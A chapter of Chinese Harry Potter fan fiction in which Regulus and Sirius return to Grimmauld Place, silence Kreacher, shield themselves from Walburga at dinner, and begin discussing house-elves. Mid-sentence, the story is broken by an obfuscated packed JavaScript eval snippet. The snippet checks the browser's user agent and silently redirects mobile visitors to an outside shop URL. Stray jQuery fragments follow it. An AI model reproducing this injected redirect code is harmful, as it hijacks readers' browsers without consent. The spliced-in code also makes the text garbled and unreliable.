47
雷米和西里斯回到了布莱克大宅。
格里莫广场12号的大门在两人面前无声地滑开，露出里面那条狭窄黑暗的走廊。
布莱克的家里是阴暗的。空气里弥漫着一种说不清道不明的压迫感，像有一只看不见的手按在你的肩膀上，从你进门的那一刻起就不曾松开。
家里只有三个人——行尸走肉的奥赖恩，喜怒无常的沃尔布加，以及疯疯癫癫的克利切。
克利切见到西里斯的时候，他的大眼球立刻充满了泪水——不是因为悲伤，而是因为愤怒。他深深地弯下腰，几乎是把自己折成了两半，然后用那种沙哑的、颤抖的声音大声说道：
“叛徒！背叛了布莱克家族的败家子！克利切就知道，这个不肖子孙总有一天会回来，玷污这座高贵的宅子！克利切真希望女主人听不到这个坏孩子的脚步声，否则女主人该有多伤心啊——”
西里斯的脸一下子就红了。他猛地转向克利切，凑近那张皱巴巴的脸：
“闭嘴！你这个脑子不正常的可怜虫！”
克利切没有退缩。家养小精灵瞪着那双巨大的眼睛，声音更尖锐了：
“克利切说的是事实！西里斯少爷丢尽了布莱克家族的脸，西里斯少爷——”
雷米开口了。
“克利切。”
克利切的声音像被人掐住了一样，突然停了。
雷米蹲下来，看着克利切的眼睛。他说：“克利切，你知道为什么哥哥进了格兰芬多，沃尔布加还没有把他绣在挂毯上的名字烧掉吗？”
克利切看向雷米，那双巨大的眼睛眨了眨。
雷米说：“因为沃尔布加觉得我也不靠谱。如果我以后也败家，做出让她觉得丢人的事情，她还会让西里斯回来继承家业的。”
克利切的眼睛睁得更大了，但他一个字都没说出来。他站在那里，干瘦的身体微微发抖，像是在拼命地寻找一句可以反驳的话，但找不到。
雷米说的每一句话都不是捏造的。挂毯上西里斯的名字确实还在。这是无法否认的事实。
雷米觉得，在沃尔布加的心里，自己大概也不是一个稳妥的继承人。虽然沃尔布加嘴上说雷米的种种行为是“天才的怪癖”，但心里到底怎么想的，只有她自己知道。
或许，沃尔布加本能地觉得，自己应该给自己留一条后路。所以西里斯的名字还在挂毯上，不像其他被烧掉的、被除名的布莱克家族成员那样，名字变成焦黑的一个圆坑。
过了好一会儿，克利切才低下头，以一种卑微的、近乎恳求的语气转移了话题：“克利切只是个家养小精灵，克利切不懂女主人的想法。但克利切知道，雷古勒斯少爷只要改掉平时到处乱跑乱转的毛病，女主人就不会生气了。”
雷米看着克利切。他知道克利切说的“到处乱跑乱转”是什么意思。那些在沃尔布加眼里是“天才的怪癖”的东西，在克利切眼里仍然是“毛病”。克利切不觉得这是天才的表现，不觉得这是值得容忍的。他只是在忍耐，因为沃尔布加在忍耐。
雷米说：“这种东西都是不能控制的。克利切认为自己做错事情时，会情不自禁拿头撞墙，应该能理解我吧。”
克利切猛地抬起头，眼睛里满是震惊。他的嘴唇哆嗦了几下，声音几乎是尖叫出来的：
“克利切只是个家养小精灵！雷古勒斯少爷是巫师——是布莱克家族的继承人——怎么可以把自己和克利切放在一起比较！这是对巫师身份的侮辱！是对布莱克家族的侮辱！克利切求求雷古勒斯少爷，不要再说这样可怕的话了，如果被女主人听到——”
“克利切。”雷米说。
克利切立刻闭上了嘴。
“这个话题到此为止。”雷米站起来，不再看他。
克利切深深地弯下腰，额头几乎碰到了地板。他的嘴唇还在无声地哆嗦着，但不再发出任何声音。
吃饭的时候，气氛极其压抑。或者说，在布莱克大宅里，吃饭的时候从来没有过不压抑的气氛。
但这不是沃尔布加造成的——至少不完全是。这是雷米干的好事。
沃尔布加向来是会在吃饭时骂人的：她会先问西里斯最近都干了什么——不是关心，是兴师问罪。然后问雷米在最近都干了什么——不是为了听答案，是为了找到一个发火的理由。
她会越说越激动，越说越生气，声音越来越高，盘子里的食物还没动几口，桌子就已经被她拍得震天响。最后她会开始砸东西，咒骂西里斯是家族的耻辱，咒骂雷米不争气，咒骂命运为什么要给她这样的孩子。
小时候，雷米和西里斯会坐在座位上，低着头，等她发作完。然后等她累了，声音低下去，再说一句“我吃好了”，然后离开。桌上的食物基本没动过，因为谁也没有心情在那种环境下吃下去。
直到数年前，雷米发现了系统的威能。事情就变得大不一样了。
沃尔布加刚张开嘴——第一个音节还没发完整——雷米就在桌子下面无声地施了一个隔音咒。沃尔布加的嘴巴在一张一合，表情也越来越激动，但它们都没有传到雷米和西里斯的耳朵里。
同时，雷米还在自己和西里斯的周围施加了几层防护咒——如果沃尔布加朝他们扔东西或者施恶咒，那些东西和咒语会被无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522582|202950||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
形的屏障弹开，歪到别的地方去。
西里斯和雷米吃得飞快。雷米吃掉了半盘烤土豆和三大勺茄汁焗豆。西里斯吃掉了整整一盘炖牛肉和半碗奶油汤。
吃完之后，雷米放下勺子，站起来，看着西里斯。西里斯几乎是从椅子上弹起来的。
两个人快步穿过走廊，上了楼梯，进入雷米的房间。雷米把房门锁上，又像往常一样在门框和墙壁上叠加了好几层防护咒，确保沃尔布加进不来，才坐到床上。
两个人沉默了一会儿。窗外的风声从玻璃的缝隙里钻进来，发出轻柔的呜咽。壁炉里的火静悄悄地燃烧着，温暖的光在两个人的脸上慢慢摇曳着。
西里斯坐在雷米的书桌旁，他开口了。
“克利切。”他说，语气里带着一种不加掩饰的厌恶，“那个老东西，每次见到我都说同样的话。败家子。背叛家族。辱没了姓氏。说了四年多了，不烦吗？”
雷米没有接话。
西里斯继续说：
“家养小精灵就是这样不可理喻的。你不应该试图去理解他们。他们被驯化了上千年，脑子里全是奴性，除了伺候巫师什么都不会想。”
“你试图跟他们讲道理，他们会用那双圆滚滚的大眼睛看着你，然后说‘克利切听不懂，克利切只是个家养小精灵’。完全没法沟通。”
西里斯说这话的时候，语气不是愤怒，是一种经过反复验证后形成的、已经不会再有变化的判断。
西里斯想过和克利切沟通吗？他想过，但那是很久很久以前的事了。
在他还是一个很小的、还没有完全适应这栋阴森的房子的孩子的时候，他试过和克利切说话，试过让克利切理解他。然后他失败了。
然后他得出了一个结论：家养小精灵就是这样不可理喻。不应该试图去理解他们。理解不了的，他们和我们不一样。
雷米听完了西里斯的话。他想了想，说：“理解家养小精灵的心灵确实不可能。但我知道为什么不能互相理解。”
西里斯看着雷米，挑了挑眉：“为什么？是因为家养小精灵的心灵和巫师天生就不同吗？他们生来就有奴性？”
雷米摇了摇头。
“我认为，”雷米说，“是因为身体不同，导致了他们的心灵变得不同。”
西里斯皱了皱眉：“身体不同？”
雷米知道他没有听懂。但这没有关系。
雷米说：“我给哥哥讲一个故事，哥哥就能明白了。”
西里斯把书桌边的椅子转过来，跨坐在上面，两只胳膊搭在椅背上，下巴搁在胳膊上。他看着雷米，做出洗耳恭听的架势。